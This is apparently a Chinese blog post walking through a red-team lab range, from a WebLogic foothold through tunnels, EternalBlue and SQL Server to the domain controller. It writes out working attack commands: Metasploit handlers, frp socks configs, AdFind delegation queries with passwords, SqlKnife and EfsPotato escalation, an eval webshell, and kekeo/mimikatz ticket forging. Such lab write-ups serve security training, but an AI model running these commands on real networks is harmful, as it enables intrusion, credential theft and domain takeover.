一次极其曲折的多层靶场渗透--渗透攻击红队靶场

声明

以下内容,来自moon_flower作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

外网weblogic服务器

不知道为什么 ping 不通,直接访问 7001,上一波 weblogic 扫描器直接拿下

图片除此之外还可以试试weblogic的常用弱口令(github),这里有 weblogic/weblogic123可以直接进后台,可利用的漏洞点就不限于前台的反序列化rce了。
传个🐎上去,用冰蝎链接做后续攻击。但这里遇到的一个问题就是🐎的路径选择
写入console images目录

物理路径:C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
访问路径:
/console/framework/skins/wlsconsole/images/shell.jsp
能传上但访问404

写入uddiexplorer目录中

物理路径:
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp
访问路径:
/uddiexplorer/shell.jsp
(发现没这个目录)

写入应用安装目录

物理路径:C:\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp
访问路径:
/项目名/shell.jsp
(也没路径)

传马失败,等解决了再回来补,这里直接用CS生成powershell上线了。
图片

域内个人PC

做一波信息收集,首先可以确认是没有域,只有两个网段,需要做横向。
图片mimikatz抓一下密码,win 2012抓不到明文,能不能通过其他方式拿暂且放一下,继续做横向,用portscan扫一下子网,发现10.10.20.7主机,传个代理继续打。不知道为什么ew用不了,所以改用frp
攻击机:

[common]
bind_addr =0.0.0.0
bind_port = 7000

跳板机:

[common]
server_addr = 192.168.0.128
server_port = 7000

[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5

用CS派生一个监听道到 msf,用msf继续打横向:

use exploit/multi/handler 
set payload windows/meterpreter/reverse_http
set lhost 192.168.0.128
set lport 20001
连上之后迁移进程
run post/windows/manage/migrate

msf挂上代理打永恒之蓝:

set Proxies socks5:192.168.0.128:7777
set ReverseAllowProxy true

永恒之蓝的shell不稳定,容易打蓝屏,派生到CS上继续攻击,但这里有个重要的问题:win7包括域内主机都不出网,通常的手段是用msf正向(防火墙限制)或用CS中转。
图片
比较无法理解的是不知道为什么生成powershell command不能选择CS中继 Listener,但生成exe就可以,第二个坑待会补,用msf传exe弹到CS中继上。
在打的时候一直反弹不回来,后来想了想才发现weblogic主机没关防火墙,ping都ping不通。最后弹回来了,永恒之蓝打的,还是个system权限,可以开始打域控了。

注意这里不要直接用ms17_010_eternalblue打,很容易打蓝屏,用 ms17_010_comman弹命令开远程桌面打。(但这里会有各种奇奇怪怪的bug,算第三个坑)

最后还是用ms17_010_eternalblue打的。
图片

域渗透

先做本机信息收集,win7系统,另一张网卡10.10.10.0/24,存在域 redteam.red,没什么补丁,探测一下域环境。然而现在是system权限不在域中,考虑用msf的steal_token实现降权,重新反弹一个shell到CS中。

图片继续利用CS进行域信息收集,域控10.10.10.8,域管理员administrator,还有一台sqlserver机器。
图片考虑打域控的几种思路:

这里尝试通过委派打其他主机,其他方式见坑4。

传一个Adfind上去,查找一下配置了委派的用户

查询配置了非约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询配置了非约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询配置了约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查询配置了约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

非约束主机:sqlserver和域控
图片非约束用户:saulgoodman
图片约束委派用户:sqlserver
图片考虑到非约束委派在实战中需要被域管访问,比较鸡肋(不鸡肋的打法见坑5)
这里用约束委派攻击,但首先要拿下sqlserver这台机器,传个fscan做一下端口扫描。

shell fscan64.exe -np -h 10.10.10.0/24

80没东西,爆破一下1443的sa用户,密码sa,传个工具进行连接,这里选用的是SqlKnife

shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --xpcmd -c whoami

图片
但只是个数据库权限,要想办法提权,但现在这个shell很难用,记起来还有个web服务,考虑在web服务器目录下写shell,但权限太小遂放弃。
最后用EfsPotato提权成功

shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 --3 --fix
shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 -c whoami

图片
这就是拿到一个system权限了。
但很鸡肋执行起来有各种问题,在这里卡了好久也没有合适的攻击方法,最终还是又用了frp搭了一层代理,让最外层的 kali 能直接访问10.10.10.0/24。
frpc.ini

[common]
server_addr = 10.10.20.12
server_port = 9000

[plugin_socks]
type = tcp
remote_port = 9999
plugin = socks5

frps.ini

[common]
bind_addr =0.0.0.0
bind_port = 9000

然后在kali的proxychains4的 配置文件如下:
图片
直接挂代理起msf,用exploit/windows/mssql/ms-sql_clr_payload模块之间打(注意设用户密码)

用拿下的win7做中继,用CS生成马,通过meterpreter 传上去,要注意这里存在权限问题,所以选了这个可读可写可执行的目录。
图片也可以直接用

https://github.com/RowTeam/SharpSQLTools/带GUI界面执行文件。但不知道为什么一直没办法反弹到cs上,(或许不能弹中继的中继?)

最后还是用msf生成正向shell的马传到sqlserver上,再用EfsPotato 提权后去执行,得到一个system权限的meterpreter.(其实这里用CS的beacon_tcp也可以实现正向连接)
msf监听:

handler -p windows/x64/meterpreter/bind_tcp -H 10.10.10.18 -P 30003

cs跳板机正向连接

connect 10.10.10.18 30004

或者先在用msf写一个bat,再用EfsPotato提权后去执行(这个system不能写只能执行),向80端口中写一个webshell连接上
图片shell.bat:

echo ^<%%^@Page Language^=^"Jscript^"%%^>^<%%eval^(Request^.Item^[^"saul^"^]^,^"unsafe^"^)^;%%^> > c:\inetpub\wwwroot\1.aspx

连上webshell之后就要想办法提权了

查询当前系统缺失的常见可用于提权的补丁:

systeminfo > micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt

(具体试了几个都有各种限制)
总而言之拿到了一个msf的system的shell,可以继续约束委派攻击了。
先抓一波密码:
图片
这里的sqlserver是配置了约束委派的用户,降权到sqlserver,传一个kekeo 继续攻击
请求用户的TGT

kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" > 1.txt

用生成的

TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi获取域机器的ST:

kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" > 2.txt

最后用mimikatz将ST2导入当前会话

mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

此时已经和域控建立了ipc会话,可以直接远程查看
图片
拿到flag。

  1. 抓密码或dump密码,但运行mimikatz只能看到saul的密码,利用价值不大。

  2. 尝试令牌窃取,但ps中没有域控进程,遂放弃

  3. 已有漏洞,如zerologon的重置密码等

  4. 委派,先打其他主机

  5. 待补充,但可参考

    https‍://github.com/infosecn1nja/AD-Attack-Defense

  • 没解决的问题:
  • 一路的坑,之后慢慢填

  • CS和MSF操作上有很多的问题

  • 多层内网的反弹shell(后来一直都是正向链接,有防火墙的话就很难受)

  • 没过杀软,大问题

  • 流量不够隐蔽,没有很好的利用各种隧道隐藏技术

参考文献

  • https://www.sqlsec.com/2018/03/smb.html

  • http://deepmountains.cn/2021/03/08/2.%20Cobalt%20Strike%E4%B9%8Bbeacon%E7%9B%91%E5%90%AC%E5%99%A8/

  • https://www.freebuf.com/vuls/304576.html

  • https://0rangex.github.io/2022/01/26/Domain-penetration_one-stop/

  • https://www.anquanke.com/post/id/250346

欢迎关注长白山攻防实验室微信公众号
定期更新优质文章分享

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值